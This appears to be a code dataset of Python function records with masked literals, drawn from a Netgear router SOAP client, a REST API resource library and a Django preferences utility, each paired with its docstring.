{"signature": "def main():", "body": "args = argparser().parse_args(sys.argv[<NUM_LIT:1>:])<EOL>password = os.environ.get('<STR_LIT>') or args.password<EOL>netgear = Netgear(password, args.host, args.user, args.port, args.ssl, args.url, args.force_login_v2)<EOL>results = run_subcommand(netgear, args)<EOL>formatter = make_formatter(args.format)<EOL>if results is None:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>formatter(results)<EOL><DEDENT>", "docstring": "Scan for devices and print results.", "id": "f1630:m3"}
{"signature": "def autodetect_url():", "body": "for url in [\"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\"]:<EOL><INDENT>try:<EOL><INDENT>r = requests.get(url + \"<STR_LIT>\",<EOL>headers=_get_soap_headers(\"<STR_LIT>\", \"<STR_LIT:test>\"),<EOL>verify=False)<EOL>if r.status_code == <NUM_LIT:200>:<EOL><INDENT>return url<EOL><DEDENT><DEDENT>except requests.exceptions.RequestException:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>return None<EOL>", "docstring": "Try to autodetect the base URL of the router SOAP service.\n\nReturns None if it can't be found.", "id": "f1631:m0"}
{"signature": "def _xml_get(e, name):", "body": "r = e.find(name)<EOL>if r is not None:<EOL><INDENT>return r.text<EOL><DEDENT>return None<EOL>", "docstring": "Returns the value of the subnode \"name\" of element e.\n\nReturns None if the subnode doesn't exist", "id": "f1631:m2"}
{"signature": "def _convert(value, to_type, default=None):", "body": "try:<EOL><INDENT>return default if value is None else to_type(value)<EOL><DEDENT>except ValueError:<EOL><INDENT>return default<EOL><DEDENT>", "docstring": "Convert value to to_type, returns default if fails.", "id": "f1631:m6"}
{"signature": "def __init__(self, password=None, host=None, user=None, port=None,<EOL>ssl=False, url=None, force_login_v2=False):", "body": "if not url and not host and not port:<EOL><INDENT>url = autodetect_url()<EOL><DEDENT>if url:<EOL><INDENT>self.soap_url = url + \"<STR_LIT>\"<EOL><DEDENT>else:<EOL><INDENT>if not host:<EOL><INDENT>host = DEFAULT_HOST<EOL><DEDENT>if not port:<EOL><INDENT>port = DEFAULT_PORT<EOL><DEDENT>scheme = \"<STR_LIT>\" if ssl else \"<STR_LIT:http>\"<EOL>self.soap_url = \"<STR_LIT>\".format(scheme,<EOL>host, port)<EOL><DEDENT>if not user:<EOL><INDENT>user = DEFAULT_USER<EOL><DEDENT>self.username = user<EOL>self.password = password<EOL>self.port = port<EOL>self.force_login_v2 = force_login_v2<EOL>self.cookie = None<EOL>self.config_started = False<EOL>", "docstring": "Initialize a Netgear session.", "id": "f1631:c0:m0"}
{"signature": "def login(self):", "body": "if not self.force_login_v2:<EOL><INDENT>v1_result = self.login_v1()<EOL>if v1_result:<EOL><INDENT>return v1_result<EOL><DEDENT><DEDENT>return self.login_v2()<EOL>", "docstring": "Login to the router.\n\nWill be called automatically by other actions.", "id": "f1631:c0:m1"}
{"signature": "def get_attached_devices(self):", "body": "_LOGGER.info(\"<STR_LIT>\")<EOL>success, response = self._make_request(SERVICE_DEVICE_INFO,<EOL>\"<STR_LIT>\")<EOL>if not success:<EOL><INDENT>_LOGGER.error(\"<STR_LIT>\")<EOL>return None<EOL><DEDENT>success, node = _find_node(<EOL>response.text,<EOL>\"<STR_LIT>\")<EOL>if not success:<EOL><INDENT>return None<EOL><DEDENT>devices = []<EOL>decoded = node.text.strip().replace(UNKNOWN_DEVICE_ENCODED,<EOL>UNKNOWN_DEVICE_DECODED)<EOL>if not decoded or decoded == \"<STR_LIT:0>\":<EOL><INDENT>_LOGGER.error(\"<STR_LIT>\")<EOL>_LOGGER.debug(node.text.strip())<EOL>return devices<EOL><DEDENT>entries = decoded.split(\"<STR_LIT:@>\")<EOL>entry_count = None<EOL>if len(entries) > <NUM_LIT:1>:<EOL><INDENT>entry_count = _convert(entries.pop(<NUM_LIT:0>), int)<EOL><DEDENT>if entry_count is not None and entry_count != len(entries):<EOL><INDENT>_LOGGER.info(<EOL>\"\"\"<STR_LIT>\"\"\", entry_count, len(entries))<EOL><DEDENT>for entry in entries:<EOL><INDENT>info = entry.split(\"<STR_LIT:;>\")<EOL>if len(info) == <NUM_LIT:0>:<EOL><INDENT>continue<EOL><DEDENT>signal = None<EOL>link_type = None<EOL>link_rate = None<EOL>allow_or_block = None<EOL>if len(info) >= <NUM_LIT:8>:<EOL><INDENT>allow_or_block = info[<NUM_LIT:7>]<EOL><DEDENT>if len(info) >= <NUM_LIT:7>:<EOL><INDENT>link_type = info[<NUM_LIT:4>]<EOL>link_rate = _convert(info[<NUM_LIT:5>], int)<EOL>signal = _convert(info[<NUM_LIT:6>], int)<EOL><DEDENT>if len(info) < <NUM_LIT:4>:<EOL><INDENT>_LOGGER.warning(\"<STR_LIT>\", info)<EOL>continue<EOL><DEDENT>ipv4, name, mac = info[<NUM_LIT:1>:<NUM_LIT:4>]<EOL>devices.append(Device(name, ipv4, mac,<EOL>link_type, signal, link_rate, allow_or_block,<EOL>None, None, None, None))<EOL><DEDENT>return devices<EOL>", "docstring": "Return list of connected devices to the router.\n\nReturns None if error occurred.", "id": "f1631:c0:m4"}
{"signature": "def get_attached_devices_2(self):", "body": "_LOGGER.info(\"<STR_LIT>\")<EOL>success, response = self._make_request(SERVICE_DEVICE_INFO,<EOL>\"<STR_LIT>\")<EOL>if not success:<EOL><INDENT>return None<EOL><DEDENT>success, devices_node = _find_node(<EOL>response.text,<EOL>\"<STR_LIT>\")<EOL>if not success:<EOL><INDENT>return None<EOL><DEDENT>xml_devices = devices_node.findall(\"<STR_LIT>\")<EOL>devices = []<EOL>for d in xml_devices:<EOL><INDENT>ip = _xml_get(d, '<STR_LIT>')<EOL>name = _xml_get(d, '<STR_LIT:Name>')<EOL>mac = _xml_get(d, '<STR_LIT>')<EOL>signal = _convert(_xml_get(d, '<STR_LIT>'), int)<EOL>link_type = _xml_get(d, '<STR_LIT>')<EOL>link_rate = _xml_get(d, '<STR_LIT>')<EOL>allow_or_block = _xml_get(d, '<STR_LIT>')<EOL>device_type = _convert(_xml_get(d, '<STR_LIT>'), int)<EOL>device_model = _xml_get(d, '<STR_LIT>')<EOL>ssid = _xml_get(d, '<STR_LIT>')<EOL>conn_ap_mac = _xml_get(d, '<STR_LIT>')<EOL>devices.append(Device(name, ip, mac, link_type, signal, link_rate,<EOL>allow_or_block, device_type, device_model,<EOL>ssid, conn_ap_mac))<EOL><DEDENT>return devices<EOL>", "docstring": "Return list of connected devices to the router with details.\n\nThis call is slower and probably heavier on the router load.\n\nReturns None if error occurred.", "id": "f1631:c0:m5"}
{"signature": "def get_traffic_meter(self):", "body": "_LOGGER.info(\"<STR_LIT>\")<EOL>def parse_text(text):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>def tofloats(lst): return (float(t) for t in lst)<EOL>try:<EOL><INDENT>if \"<STR_LIT:/>\" in text:  <EOL><INDENT>return tuple(tofloats(text.split('<STR_LIT:/>')))<EOL><DEDENT>elif \"<STR_LIT::>\" in text:  <EOL><INDENT>hour, mins = tofloats(text.split('<STR_LIT::>'))<EOL>return timedelta(hours=hour, minutes=mins)<EOL><DEDENT>else:<EOL><INDENT>return float(text)<EOL><DEDENT><DEDENT>except ValueError:<EOL><INDENT>return None<EOL><DEDENT><DEDENT>success, response = self._make_request(SERVICE_DEVICE_CONFIG,<EOL>\"<STR_LIT>\")<EOL>if not success:<EOL><INDENT>return None<EOL><DEDENT>success, node = _find_node(<EOL>response.text,<EOL>\"<STR_LIT>\")<EOL>if not success:<EOL><INDENT>return None<EOL><DEDENT>return {t.tag: parse_text(t.text) for t in node}<EOL>", "docstring": "Return dict of traffic meter stats.\n\nReturns None if error occurred.", "id": "f1631:c0:m6"}
{"signature": "def config_start(self):", "body": "_LOGGER.info(\"<STR_LIT>\")<EOL>success, _ = self._make_request(<EOL>SERVICE_DEVICE_CONFIG, \"<STR_LIT>\", {\"<STR_LIT>\": SESSION_ID})<EOL>self.config_started = success<EOL>return success<EOL>", "docstring": "Start a configuration session.\nFor managing router admin functionality (ie allowing/blocking devices)", "id": "f1631:c0:m7"}
{"signature": "def config_finish(self):", "body": "_LOGGER.info(\"<STR_LIT>\")<EOL>if not self.config_started:<EOL><INDENT>return True<EOL><DEDENT>success, _ = self._make_request(<EOL>SERVICE_DEVICE_CONFIG, \"<STR_LIT>\", {\"<STR_LIT>\": \"<STR_LIT>\"})<EOL>self.config_started = not success<EOL>return success<EOL>", "docstring": "End of a configuration session.\nTells the router we're done managing admin functionality.", "id": "f1631:c0:m8"}
{"signature": "def allow_block_device(self, mac_addr, device_status=BLOCK):", "body": "_LOGGER.info(\"<STR_LIT>\")<EOL>if self.config_started:<EOL><INDENT>_LOGGER.error(\"<STR_LIT>\")<EOL>return False<EOL><DEDENT>if not self.config_start():<EOL><INDENT>_LOGGER.error(\"<STR_LIT>\")<EOL>return False<EOL><DEDENT>success, _ = self._make_request(<EOL>SERVICE_DEVICE_CONFIG, \"<STR_LIT>\",<EOL>{\"<STR_LIT>\": device_status, \"<STR_LIT>\": mac_addr})<EOL>if not success:<EOL><INDENT>_LOGGER.error(\"<STR_LIT>\")<EOL>return False<EOL><DEDENT>if not self.config_finish():<EOL><INDENT>_LOGGER.error(\"<STR_LIT>\")<EOL>return False<EOL><DEDENT>return True<EOL>", "docstring": "Allow or Block a device via its Mac Address.\nPass in the mac address for the device that you want to set. Pass in the\ndevice_status you wish to set the device to: Allow (allow device to access the\nnetwork) or Block (block the device from accessing the network).", "id": "f1631:c0:m9"}
{"signature": "def _make_request(self, service, method, params=None, body=\"<STR_LIT>\",<EOL>need_auth=True):", "body": "<EOL>if need_auth and not self.cookie:<EOL><INDENT>if not self.login():<EOL><INDENT>return False, None<EOL><DEDENT><DEDENT>headers = self._get_headers(service, method, need_auth)<EOL>if not body:<EOL><INDENT>if not params:<EOL><INDENT>params = \"<STR_LIT>\"<EOL><DEDENT>if isinstance(params, dict):<EOL><INDENT>_map = params<EOL>params = \"<STR_LIT>\"<EOL>for k in _map:<EOL><INDENT>params += \"<STR_LIT:<>\" + k + \"<STR_LIT:>>\" + _map[k] + \"<STR_LIT>\" + k + \"<STR_LIT>\"<EOL><DEDENT><DEDENT>body = CALL_BODY.format(service=SERVICE_PREFIX + service,<EOL>method=method, params=params)<EOL><DEDENT>message = SOAP_REQUEST.format(session_id=SESSION_ID, body=body)<EOL>try:<EOL><INDENT>response = requests.post(self.soap_url, headers=headers,<EOL>data=message, timeout=<NUM_LIT:30>, verify=False)<EOL>if need_auth and _is_unauthorized_response(response):<EOL><INDENT>self.cookie = None<EOL>_LOGGER.warning(\"<STR_LIT>\")<EOL>if self.login():<EOL><INDENT>headers = self._get_headers(service, method, need_auth)<EOL>response = requests.post(self.soap_url, headers=headers,<EOL>data=message, timeout=<NUM_LIT:30>, verify=False)<EOL><DEDENT><DEDENT>success = _is_valid_response(response)<EOL>if not success:<EOL><INDENT>_LOGGER.error(\"<STR_LIT>\")<EOL>_LOGGER.debug(\"<STR_LIT>\", response.status_code, str(response.headers), response.text)<EOL><DEDENT>return success, response<EOL><DEDENT>except requests.exceptions.RequestException:<EOL><INDENT>_LOGGER.exception(\"<STR_LIT>\")<EOL>return False, None<EOL><DEDENT>", "docstring": "Make an API request to the router.", "id": "f1631:c0:m11"}
{"signature": "def __init__(self, auth_client):", "body": "self.client = auth_client<EOL>", "docstring": "Initializes the instance\n:param auth_client: Client to make (non)authorized requests\n:return:", "id": "f1650:c0:m0"}
{"signature": "@classmethod<EOL><INDENT>def get_resource_endpoint(cls, resource_id):<DEDENT>", "body": "return urljoin(cls.get_collection_endpoint(), str(resource_id)) if resource_id is not None else None<EOL>", "docstring": "Get the relative path to a specific API resource\n:param cls: Resource class\n:param resource_id: Resource id\n:return: Relative path to the resource", "id": "f1650:c0:m1"}
{"signature": "@classmethod<EOL><INDENT>def get_collection_endpoint(cls):<DEDENT>", "body": "return cls.Meta.collection_endpoint if cls.Meta.collection_endpoint is not None else cls.__name__.lower() + \"<STR_LIT>\"<EOL>", "docstring": "Get the relative path to the API resource collection\n\nIf self.collection_endpoint is not set, it will default to the lowercase name of the resource class plus an \"s\" and the terminating \"/\"\n:param cls: Resource class\n:return: Relative path to the resource collection", "id": "f1650:c0:m2"}
{"signature": "def send(self, url, http_method, **client_args):", "body": "return self.client.send(url, http_method, **client_args)<EOL>", "docstring": "Make the actual request to the API\n:param url: URL\n:param http_method: The method used to make the request to the API\n:param client_args: Arguments to be sent to the auth client\n:return: requests' response object", "id": "f1650:c0:m3"}
{"signature": "def __init__(cls, name, bases, nmspc):", "body": "super(ResourceMetaclass, cls).__init__(name, bases, nmspc)<EOL>for klass in bases:<EOL><INDENT>if hasattr(klass, \"<STR_LIT:Meta>\"):<EOL><INDENT>for attribute_name, attribute in iteritems(klass.Meta.__dict__):<EOL><INDENT>if not (attribute_name.startswith(\"<STR_LIT>\") or hasattr(cls.Meta, attribute_name)):<EOL><INDENT>setattr(cls.Meta, attribute_name, attribute)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>cls.fields = []<EOL>for attribute_name, attribute in iteritems(cls.__dict__):<EOL><INDENT>if isinstance(attribute, Field):<EOL><INDENT>attribute.name = attribute_name<EOL>cls.fields.append(attribute_name)<EOL><DEDENT><DEDENT>", "docstring": "Manage Meta inheritance and create the self.fields list of field attributes\n:param cls: Class object\n:param name: Class name\n:param bases: Class inheritance\n:param nmspc: Class namespace\n:return:", "id": "f1650:c1:m0"}
{"signature": "def __init__(self, auth_client, **kwargs):", "body": "for name, value in iteritems(kwargs):<EOL><INDENT>setattr(self, name, value)<EOL><DEDENT>super(Resource, self).__init__(auth_client)<EOL>", "docstring": "Initializes the resource\n:param auth_client: Client to make (non)authorized requests\n:param kwargs: Initial value for attributes\n:return:", "id": "f1650:c2:m0"}
{"signature": "def __str__(self):", "body": "return getattr(self, self.Meta.name_field, super(Resource, self).__str__())<EOL>", "docstring": "Give a nice representation for the resource\n:param return: Resource friendly representation based on the self.Meta.name_field attribute", "id": "f1650:c2:m1"}
{"signature": "def get_resource_endpoint(self):", "body": "return super(Resource, self).get_resource_endpoint(self.get_id())<EOL>", "docstring": "Get the relative path to the specific API resource\n:return: Relative path to the resource", "id": "f1650:c2:m3"}
{"signature": "def update_from_dict(self, attribute_dict):", "body": "for field_name, field_value in iteritems(attribute_dict):<EOL><INDENT>if self.fields is None or field_name in self.fields:<EOL><INDENT>setattr(self, field_name, field_value)<EOL><DEDENT><DEDENT>", "docstring": "Update the fields of the resource out of a data dictionary taken out of an API response\n:param attribute_dict: Dictionary to be mapped into object attributes\n:return:", "id": "f1650:c2:m4"}
{"signature": "def send(self, url, http_method, **client_args):", "body": "response = super(Resource, self).send(url, http_method, **client_args)<EOL>if response.status_code in (requests.codes.ok, requests.codes.created):<EOL><INDENT>try:<EOL><INDENT>self.update_from_dict(self.client.get_response_data(response, self.Meta.parse_json))<EOL><DEDENT>except ValueError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>return response if response is not None else None<EOL>", "docstring": "Make the actual request to the API, updating the resource if necessary\n:param url: Endpoint URL\n:param http_method: The method used to make the request to the API\n:param client_args: Arguments to be sent to the auth client\n:return:", "id": "f1650:c2:m5"}
{"signature": "def save(self, force_create=False, fields=None):", "body": "values = {}<EOL>fields = fields or self.fields<EOL>for field_name in fields:<EOL><INDENT>value = getattr(self, field_name)<EOL>if isinstance(value, Resource):<EOL><INDENT>value = value.get_id()<EOL><DEDENT>if isinstance(value, list):<EOL><INDENT>if len(value) > <NUM_LIT:0> and isinstance(value[<NUM_LIT:0>], Resource):<EOL><INDENT>value = None<EOL><DEDENT>else:<EOL><INDENT>final_value_list = []<EOL>for item in value:<EOL><INDENT>final_value_list.append(item.isoformat() if isinstance(item, datetime) else item)<EOL><DEDENT>value = final_value_list<EOL><DEDENT><DEDENT>if isinstance(value, datetime):<EOL><INDENT>value = value.isoformat()<EOL><DEDENT>if value is not None:<EOL><INDENT>values[field_name] = value<EOL><DEDENT><DEDENT>http_headers = {'<STR_LIT>': '<STR_LIT:application/json>'} if self.Meta.json_data is True else None<EOL>json = values if self.Meta.json_data is True else None<EOL>data = values if self.Meta.json_data is False else None<EOL>if self.get_resource_endpoint() is not None and force_create is False:<EOL><INDENT>return self.send(self.get_resource_endpoint(), \"<STR_LIT>\", headers=http_headers, json=json, data=data)<EOL><DEDENT>else:<EOL><INDENT>return self.send(self.get_collection_endpoint(), \"<STR_LIT>\", headers=http_headers, json=json, data=data)<EOL><DEDENT>", "docstring": "Saves (creates or updates) resource on the server\n:param force_create: If True, forces resource creation even if it already has an Id.\n:param fields: List of fields to be saved. If None, all fields will be saved.\n:return:", "id": "f1650:c2:m6"}
{"signature": "def refresh(self):", "body": "if self.get_resource_endpoint() is not None:<EOL><INDENT>return self.send(self.get_resource_endpoint(), \"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Refreshes a resource by checking against the API\n:return:", "id": "f1650:c2:m7"}
{"signature": "def delete(self):", "body": "if self.get_resource_endpoint() is not None:<EOL><INDENT>return self.send(self.get_resource_endpoint(), http_method=\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Deletes the resource from the server; Python object remains untouched\n:return:", "id": "f1650:c2:m8"}
{"signature": "def __init__(self, auth_client):", "body": "self.paginator = self.paginator_class(auth_client.base_url)<EOL>super(Manager, self).__init__(auth_client)<EOL>", "docstring": ":param auth_client: Client to make (non)authorized requests\n:return:", "id": "f1650:c3:m0"}
{"signature": "@classmethod<EOL><INDENT>def get_collection_endpoint(cls):<DEDENT>", "body": "return cls.resource_class.get_collection_endpoint()<EOL>", "docstring": "Get the relative path to the API resource collection, using the corresponding resource class\n\n:param cls: Manager class\n:return: Relative path to the resource collection", "id": "f1650:c3:m1"}
{"signature": "def get(self, resource_id):", "body": "response = self.send(self.get_resource_endpoint(resource_id), \"<STR_LIT>\")<EOL>try:<EOL><INDENT>resource = self.resource_class(self.client)<EOL><DEDENT>except (ValueError, TypeError):<EOL><INDENT>return None<EOL><DEDENT>else:<EOL><INDENT>resource.update_from_dict(self.client.get_response_data(response, self.Meta.parse_json))<EOL>return resource<EOL><DEDENT>", "docstring": "Get one single resource from the API\n:param resource_id: Id of the resource to be retrieved\n:return: Retrieved resource", "id": "f1650:c3:m2"}
{"signature": "def filter(self, **search_args):", "body": "search_args = search_args or {}<EOL>raw_resources = []<EOL>for url, paginator_params in self.paginator.get_urls(self.get_collection_endpoint()):<EOL><INDENT>search_args.update(paginator_params)<EOL>response = self.paginator.process_response(self.send(url, \"<STR_LIT>\", params=search_args))<EOL>raw_resources += self.client.get_response_data(response, self.Meta.parse_json)[self.json_collection_attribute] if self.json_collection_attribute is not None else self.client.get_response_data(response, self.Meta.parse_json)<EOL><DEDENT>resources = []<EOL>for raw_resource in raw_resources:<EOL><INDENT>try:<EOL><INDENT>resource = self.resource_class(self.client)<EOL><DEDENT>except (ValueError, TypeError):<EOL><INDENT>continue<EOL><DEDENT>else:<EOL><INDENT>resource.update_from_dict(raw_resource)<EOL>resources.append(resource)<EOL><DEDENT><DEDENT>return resources<EOL>", "docstring": "Get a filtered list of resources\n:param search_args: To be translated into ?arg1=value1&arg2=value2...\n:return: A list of resources", "id": "f1650:c3:m3"}
{"signature": "def all(self):", "body": "return self.filter()<EOL>", "docstring": "Get a list of all the resources\n:return: A list of resources", "id": "f1650:c3:m4"}
{"signature": "def create(self, **kwargs):", "body": "resource = self.resource_class(self.client)<EOL>resource.update_from_dict(kwargs)<EOL>resource.save(force_create=True)<EOL>return resource<EOL>", "docstring": "Create a resource on the server\n:params kwargs: Attributes (field names and values) of the new resource", "id": "f1650:c3:m5"}
{"signature": "def __init__(self, base_url, session=None):", "body": "self.base_url = base_url<EOL>if session is None:<EOL><INDENT>self.session = requests.Session()<EOL><DEDENT>else:<EOL><INDENT>self.session = session<EOL><DEDENT>", "docstring": ":param base_url: Base URL. API endpoint paths will always be relative to this URL\n:param session: requests' session\n:return:", "id": "f1651:c0:m0"}
{"signature": "def send(self, relative_path, http_method, **requests_args):", "body": "url = urljoin(self.base_url, relative_path)<EOL>return self.session.request(http_method, url, **requests_args)<EOL>", "docstring": "Subclasses must implement this method, that will be used to send API requests with proper auth\n:param relative_path: URL path relative to self.base_url\n:param http_method: HTTP method\n:param requests_args: kargs to be sent to requests\n:return:", "id": "f1651:c0:m1"}
{"signature": "def get_response_data(self, response, parse_json=True):", "body": "if response.status_code in (requests.codes.ok, requests.codes.created):<EOL><INDENT>if parse_json:<EOL><INDENT>return response.json()<EOL><DEDENT>return response.content<EOL><DEDENT>elif response.status_code == requests.codes.bad_request:<EOL><INDENT>response_json = response.json()<EOL>raise BadRequestException(response_json.get(\"<STR_LIT:error>\", False) or response_json.get(\"<STR_LIT>\",<EOL>_(\"<STR_LIT>\").format(text=response.text)))<EOL><DEDENT>elif response.status_code == requests.codes.not_found:<EOL><INDENT>raise NotFoundException(_(\"<STR_LIT>\").format(url=response.url))<EOL><DEDENT>elif response.status_code == requests.codes.internal_server_error:<EOL><INDENT>raise ServerErrorException(_(\"<STR_LIT>\"))<EOL><DEDENT>elif response.status_code in (requests.codes.unauthorized, requests.codes.forbidden):<EOL><INDENT>raise AuthErrorException(_(\"<STR_LIT>\"))<EOL><DEDENT>elif response.status_code == requests.codes.too_many_requests:<EOL><INDENT>raise RateLimitException(_(response.text))<EOL><DEDENT>else:<EOL><INDENT>raise ServerErrorException(_(\"<STR_LIT>\"))<EOL><DEDENT>", "docstring": "Get response data or throw an appropiate exception\n:param response: requests response object\n:param parse_json: if True, response will be parsed as JSON\n:return: response data, either as json or as a regular response.content object", "id": "f1651:c0:m2"}
{"signature": "def send(self, relative_path, http_method, **requests_args):", "body": "if http_method != \"<STR_LIT>\":<EOL><INDENT>warnings.warn(_(\"<STR_LIT>\"))<EOL><DEDENT>return super(NoAuthClient, self).send(relative_path, http_method, **requests_args)<EOL>", "docstring": "Make a unauthorized request\n:param relative_path: URL path relative to self.base_url\n:param http_method: HTTP method\n:param requests_args: kargs to be sent to requests\n:return: requests' response object", "id": "f1651:c1:m0"}
{"signature": "def __init__(self, token, *args, **kwargs):", "body": "if '<STR_LIT>' in kwargs:<EOL><INDENT>header_keyword = kwargs['<STR_LIT>']<EOL>del kwargs['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>header_keyword = \"<STR_LIT>\"<EOL><DEDENT>if not self.base_url.startswith('<STR_LIT>'):<EOL><INDENT>warnings.warn(_(\"<STR_LIT>\"))<EOL><DEDENT>super(TokenAuthClient, self).__init__(*args, **kwargs)<EOL>self.session.headers.update({\"<STR_LIT>\": \"<STR_LIT>\".format(keyword=header_keyword, token=token)})<EOL>", "docstring": ":param Token: Authentication token\n:param header_keyword: Authorization HTTP header prefix\n:return:", "id": "f1651:c2:m0"}
{"signature": "def __init__(self, user_name, password, *args, **kwargs):", "body": "super(BasicAuthClient, self).__init__(*args, **kwargs)<EOL>self.session.auth = (user_name, password)<EOL>", "docstring": ":param user_name: User name for basic authentication\n:param password: Password for basic authentication\n:return:", "id": "f1651:c3:m0"}
{"signature": "def __init__(self, many=False):", "body": "self.many = many<EOL>self.name = None<EOL>", "docstring": "Initialize the field\n:param many: Set to True if this field will host a list of items", "id": "f1652:c0:m0"}
{"signature": "def __get__(self, instance, owner):", "body": "if instance is not None and self.name is not None:<EOL><INDENT>return instance.__dict__.get(self.name)<EOL><DEDENT>else:<EOL><INDENT>return self<EOL><DEDENT>", "docstring": "Normal descriptor get method\n:param instance: Resource instance where the field lives\n:param instance: Resource class where the field lives\n:return: Value stored in instance.name (TODO: maybe change this in the future to instance.Cache.name)", "id": "f1652:c0:m1"}
{"signature": "def __set__(self, instance, value):", "body": "if instance is not None and self.name is not None:<EOL><INDENT>instance.__dict__[self.name] = value<EOL><DEDENT>", "docstring": "Normal descriptor set method\n:param instance: Resource instance where the field lives\n:param value: Value to store in instance.name (TODO: maybe change this in the future to instance.Cache.name)", "id": "f1652:c0:m2"}
{"signature": "def __set__(self, instance, value):", "body": "if self.many is False:<EOL><INDENT>if isinstance(value, str):<EOL><INDENT>value = parse(value)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>datetime_list = []<EOL>for datetime_value in value:<EOL><INDENT>if isinstance(datetime_value, str):<EOL><INDENT>datetime_value = parse(datetime_value)<EOL><DEDENT>datetime_list.append(datetime_value)<EOL><DEDENT>value = datetime_list<EOL><DEDENT>super(DateTimeField, self).__set__(instance, value)<EOL>", "docstring": "Normal descriptor set method\n:param instance: Resource instance where the field lives\n:param value: Might be a datetime object or a string to be parsed", "id": "f1652:c5:m0"}
{"signature": "def set_real_value_class(self):", "body": "if self.value_class is not None and isinstance(self.value_class, str):<EOL><INDENT>module_name, dot, class_name = self.value_class.rpartition(\"<STR_LIT:.>\")<EOL>module = __import__(module_name, fromlist=[class_name])<EOL>self.value_class = getattr(module, class_name)<EOL>self._initialized = True<EOL><DEDENT>", "docstring": "value_class is initially a string with the import path to the resource class, but we need to get the actual class before doing any work\n\nWe do not expect the actual clas to be in value_class since the beginning to avoid nasty import egg-before-chicken errors", "id": "f1652:c7:m0"}
{"signature": "def read_file(fpath):", "body": "with io.open(os.path.join(PATH_BASE, fpath)) as f:<EOL><INDENT>return f.read()<EOL><DEDENT>", "docstring": "Reads a file within package directories.", "id": "f1655:m0"}
{"signature": "def get_version():", "body": "contents = read_file(os.path.join('<STR_LIT>', '<STR_LIT>'))<EOL>version = re.search('<STR_LIT>', contents)<EOL>version = version.group(<NUM_LIT:1>).replace('<STR_LIT:U+002CU+0020>', '<STR_LIT:.>').strip()<EOL>return version<EOL>", "docstring": "Returns version number, without module import (which can lead to ImportError\n    if some dependencies are unavailable before install.", "id": "f1655:m1"}
{"signature": "def get_field_for_proxy(pref_proxy):", "body": "field = {<EOL>bool: models.BooleanField,<EOL>int:  models.IntegerField,<EOL>float: models.FloatField,<EOL>datetime: models.DateTimeField,<EOL>}.get(type(pref_proxy.default), models.TextField)()<EOL>update_field_from_proxy(field, pref_proxy)<EOL>return field<EOL>", "docstring": "Returns a field object instance for a given PrefProxy object.\n\n    :param PrefProxy pref_proxy:\n\n    :rtype: models.Field", "id": "f1668:m0"}
{"signature": "def update_field_from_proxy(field_obj, pref_proxy):", "body": "attr_names = ('<STR_LIT>', '<STR_LIT>', '<STR_LIT:default>')<EOL>for attr_name in attr_names:<EOL><INDENT>setattr(field_obj, attr_name, getattr(pref_proxy, attr_name))<EOL><DEDENT>", "docstring": "Updates field object with data from a PrefProxy object.\n\n    :param models.Field field_obj:\n\n    :param PrefProxy pref_proxy:", "id": "f1668:m1"}
{"signature": "def get_pref_model_class(app, prefs, get_prefs_func):", "body": "module = '<STR_LIT>' % (app, PREFS_MODULE_NAME)<EOL>model_dict = {<EOL>'<STR_LIT>': app,<EOL>'<STR_LIT>': staticmethod(get_prefs_func),<EOL>'<STR_LIT>': module,<EOL>'<STR_LIT:Meta>': type('<STR_LIT:Meta>', (models.options.Options,), {<EOL>'<STR_LIT>': _('<STR_LIT>'),<EOL>'<STR_LIT>': _('<STR_LIT>'),<EOL>'<STR_LIT>': app,<EOL>'<STR_LIT>': False,<EOL>})<EOL>}<EOL>for field_name, val_proxy in prefs.items():<EOL><INDENT>model_dict[field_name] = val_proxy.field<EOL><DEDENT>model = type('<STR_LIT>', (models.Model,), model_dict)<EOL>def fake_save_base(self, *args, **kwargs):<EOL><INDENT>updated_prefs = {<EOL>f.name: getattr(self, f.name) for f in self._meta.fields if not isinstance(f, models.fields.AutoField)<EOL>}<EOL>app_prefs = self._get_prefs(self._prefs_app)<EOL>for pref in app_prefs.keys():<EOL><INDENT>if pref in updated_prefs:<EOL><INDENT>app_prefs[pref].db_value = updated_prefs[pref]<EOL><DEDENT><DEDENT>self.pk = self._prefs_app  <EOL>prefs_save.send(sender=self, app=self._prefs_app, updated_prefs=updated_prefs)<EOL>return True<EOL><DEDENT>model.save_base = fake_save_base<EOL>return model<EOL>", "docstring": "Returns preferences model class dynamically crated for a given app or None on conflict.", "id": "f1668:m2"}
{"signature": "def get_frame_locals(stepback=<NUM_LIT:0>):", "body": "with Frame(stepback=stepback) as frame:<EOL><INDENT>locals_dict = frame.f_locals<EOL><DEDENT>return locals_dict<EOL>", "docstring": "Returns locals dictionary from a given frame.\n\n    :param int stepback:\n\n    :rtype: dict", "id": "f1668:m4"}
{"signature": "def traverse_local_prefs(stepback=<NUM_LIT:0>):", "body": "locals_dict = get_frame_locals(stepback+<NUM_LIT:1>)<EOL>for k in locals_dict:<EOL><INDENT>if not k.startswith('<STR_LIT:_>') and k.upper() == k:<EOL><INDENT>yield k, locals_dict<EOL><DEDENT><DEDENT>", "docstring": "Generator to walk through variables considered as preferences\n    in locals dict of a given frame.\n\n    :param int stepback:\n\n    :rtype: tuple", "id": "f1668:m5"}
{"signature": "def import_module(package, module_name):", "body": "import_app_module(package, module_name)<EOL>", "docstring": "Imports a module from a given package.\n\n    :param str|unicode package:\n    :param str|unicode module_name:", "id": "f1668:m6"}
{"signature": "def import_prefs():", "body": "<EOL>settings_locals = get_frame_locals(<NUM_LIT:3>)<EOL>if '<STR_LIT>' not in settings_locals:  <EOL><INDENT>project_package = settings_locals['<STR_LIT>']  <EOL>if not project_package:<EOL><INDENT>project_package = os.path.split(os.path.dirname(settings_locals['<STR_LIT>']))[-<NUM_LIT:1>]<EOL><DEDENT>import_module(project_package, PREFS_MODULE_NAME)<EOL><DEDENT>import_project_modules(PREFS_MODULE_NAME)<EOL>", "docstring": "Imports preferences modules from packages (apps) and project root.", "id": "f1668:m7"}
